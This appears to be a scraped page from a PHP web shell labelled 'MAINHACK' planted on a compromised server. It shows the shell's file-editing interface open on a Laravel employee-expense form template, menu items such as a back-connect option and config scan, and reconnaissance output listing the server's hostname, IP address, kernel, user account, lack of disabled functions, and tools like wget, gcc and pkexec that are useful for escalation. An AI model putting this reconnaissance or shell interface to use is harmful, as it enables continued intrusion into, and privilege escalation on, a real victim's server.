[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: edit.blade.php
<form method="post" class="validate" autocomplete="off" action="{{ route('employee_expenses.update', $id) }}" enctype="multipart/form-data"> @csrf <input name="_method" type="hidden" value="PATCH"> <div class="row p-2"> <div class="col-md-6"> <div class="form-group"> <label class="control-label">{{ _lang('Trans Date') }}</label> <input type="text" class="form-control datetimepicker" name="trans_date" value="{{ $employeeexpense->getRawOriginal('trans_date') }}" required> </div> </div> <div class="col-md-6"> <div class="form-group"> <label class="control-label">{{ _lang('Employee') }}</label> <select class="form-control auto-select select2" data-selected="{{ $employeeexpense->employee_id }}" name="employee_id" required> <option value="">{{ _lang('Select One') }}</option> @foreach(\App\Models\Employee::active()->get() as $employee) <option value="{{ $employee->id }}">{{ $employee->employee_id }} ({{ $employee->name }})</option> @endforeach </select> </div> </div> <div class="col-md-6"> <div class="form-group"> <label class="control-label">{{ _lang('Bill No') }}</label> <input type="text" class="form-control" name="bill_no" value="{{ $employeeexpense->bill_no }}"> </div> </div> <div class="col-md-6"> <div class="form-group"> <label class="control-label">{{ _lang('Amount') }}</label> <input type="text" class="form-control float-field" name="amount" value="{{ $employeeexpense->amount }}" required> </div> </div> <div class="col-md-12"> <div class="form-group"> <label class="control-label">{{ _lang('Expense Type') }}</label> <input type="text" class="form-control" name="expense_type" value="{{ $employeeexpense->expense_type }}" required> </div> </div> <div class="col-md-12"> <div class="form-group"> <label class="control-label">{{ _lang('Description') }}</label> <textarea class="form-control" name="description">{{ $employeeexpense->description }}</textarea> </div> </div> <div class="col-md-12"> <div class="form-group"> <label class="control-label">{{ _lang('Attachment') }}</label> <input type="file" class="form-control dropify" name="attachment"> </div> </div> <div class="col-md-12"> <div class="form-group"> <label class="control-label">{{ _lang('Status') }}</label> <select class="form-control auto-select" data-selected="{{ $employeeexpense->status }}" name="status" required> <option value="1">{{ _lang('Completed') }}</option> <option value="0">{{ _lang('Pending') }}</option> </select> </div> </div> <div class="col-md-12 mt-2"> <div class="form-group"> <button type="submit" class="btn btn-primary"><i class="ti-check-box mr-2"></i> {{ _lang('Update') }}</button> </div> </div> </div> </form>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.75 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002